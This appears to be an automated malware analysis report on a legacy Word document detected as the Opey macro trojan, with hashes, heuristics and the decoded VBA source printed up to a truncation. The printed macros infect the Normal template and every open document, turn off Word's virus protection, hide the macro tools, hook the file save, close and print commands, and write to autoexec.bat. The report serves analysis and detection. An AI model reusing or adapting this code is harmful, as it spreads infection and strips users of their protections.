Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fba1c3646dd4baf1…

MALICIOUS

Office (OLE)

34.5 KB Created: 1999-04-17 06:42:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 82d70c52ab88906ffa1e650d1f02f584 SHA-1: 677d5a4be92d50c9f03d7a12d4d24984ed79110d SHA-256: fba1c3646dd4baf1e1851bdb163515971681b32c9b32169fa28b0bb72ec3c905
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing VBA macros, specifically an AutoOpen macro, which is a common technique for malicious documents. The macro attempts to infect other documents by adding its components to them and also attempts to write to 'c:\autoexec.bat', potentially for persistence or to execute commands on system startup. The ClamAV detection further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Opey-18 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Opey-18
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14813 bytes
SHA-256: 5c8a5354719e61ef739302e90012019cc96d60f25450bf6e22c8c91eb67d50be
Detection
ClamAV: Doc.Trojan.Opey-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "OPEY_3"
Sub greetings()
On Error Resume Next
autoexecfile$ = "c:\autoexec.bat"
hFile = FreeFile
line1$ = ""
If ((Month(Date) = 12) And (Day(Date) = 25)) Or ((Month(Date) = 1) And (Day(Date) = 1)) Then
line1$ = "echo MERRY CHRISTMASS AND A HAPPY NEW YEAR !!!"
End If
If (Month(Date) = 11) And (Day(Date) = 1) Then
line1$ = "echo HAPPY HALLOWEEN !!!"
End If
If (Month(Date) = 2) And (Day(Date) = 14) Then
line1$ = "echo HAPPY VALENTINES DAY !!!"
End If
If line1$ <> "" Then
Open autoexecfile$ For Append Access Write As hFile
Print #hFile, "@echo off"
Print #hFile, line1$
Print #hFile, "echo from: OPEY A."
Print #hFile, "pause"
Close hFile
End If
End Sub


Sub OnlyYou()
On Error Resume Next
Call A_OPEY_03
NTInfected = False
For i = NormalTemplate.VBProject.VBComponents.Count To 1 Step -1
clan = NormalTemplate.VBProject.VBComponents(i).Name
If clan = "A_OPEY_03" Then NTInfected = True
If (clan <> "A_OPEY_03") And (clan <> "ThisDocument") Then Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
Next i
For Each opendoc In Documents
ODInfected = False
With opendoc
For j = opendoc.VBProject.VBComponents.Count To 1 Step -1
clan = opendoc.VBProject.VBComponents(j).Name
If clan = "A_OPEY_03" Then ODInfected = True
If (clan <> "A_OPEY_03") And (clan <> "ThisDocument") And (clan <> "Reference to Normal") Then Application.OrganizerDelete Source:=opendoc.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
Next j
If ODInfected = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=opendoc.FullName, Name:="A_OPEY_03", Object:=wdOrganizerObjectProjectItems
opendoc.SaveAs FileName:=opendoc.FullName
End If
End With
Next opendoc
If NTInfected = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="A_OPEY_03", Object:=wdOrganizerObjectProjectItems
NormalTemplate.Save
End If
Call greetings
End Sub


Sub A_OPEY_03()
On Error Resume Next
Application.UserName = "OPEY A."
Application.UserAddress = "CNNHS B'92 PHILIPPINES (CNSC)"
Application.UserInitials = "LOVE"
With Dialogs(wdDialogFileSummaryInfo)
.Author = "OPEY A."
.Title = "LOVE"
.Execute
End With
With Options
.ConfirmConversions = False
.VirusProtection = False
.SaveNormalPrompt = False
End With
With ActiveDocument
.ReadOnlyRecommended = False
End With
On Error Resume Next
CommandBars("Visual Basic").Visible = False
CommandBars("Visual Basic").Enabled = False
CommandBars("Visual Basic").Protection = msoBarNoChangeVisible
CommandBars("Visual Basic").Protection = msoBarNoCustomize
CommandBars("Tools").Controls("Macro").Delete
CommandBars("Tools").Controls("Customize...").Delete
CustomizationContext = NormalTemplate
FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
End Sub


Sub FileSave()
On Error Resume Next
Call OnlyYou
ActiveDocument.Save
End Sub


Sub FileClose()
On Error Resume Next
Call OnlyYou
If ActiveDocument.Saved = False Then ActiveDocument.Save
ActiveDocument.Close
End Sub


Sub FileExit()
On Error Resume Next
Call OnlyYou
If ActiveDocument.Saved = False Then ActiveDocument.Save
Application.Quit
End Sub


Sub FileNew()
On Error Resume Next
Dialogs(wdDialogFileNew).Show
newfile$ = 1
Call OnlyYou
End Sub


Sub AutoOpen()
On Error Resume Next
Call OnlyYou
End Sub
Sub AutoExec()
On Error Resume Next
Call OnlyYou
End Sub


Sub FileSaveAs()
On Error Resume Next
Call OnlyYou
Dialogs(wdDialogFileSaveAs).Show
End Sub


Sub FilePageSetup()
On Error Resume Next
Call OnlyYou
Dialogs(wdDialogFilePageSetup).Show
End Sub


Sub FilePrint()
On Error Resume Next
Call OnlyYou
Dialogs(wdDialogFil
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.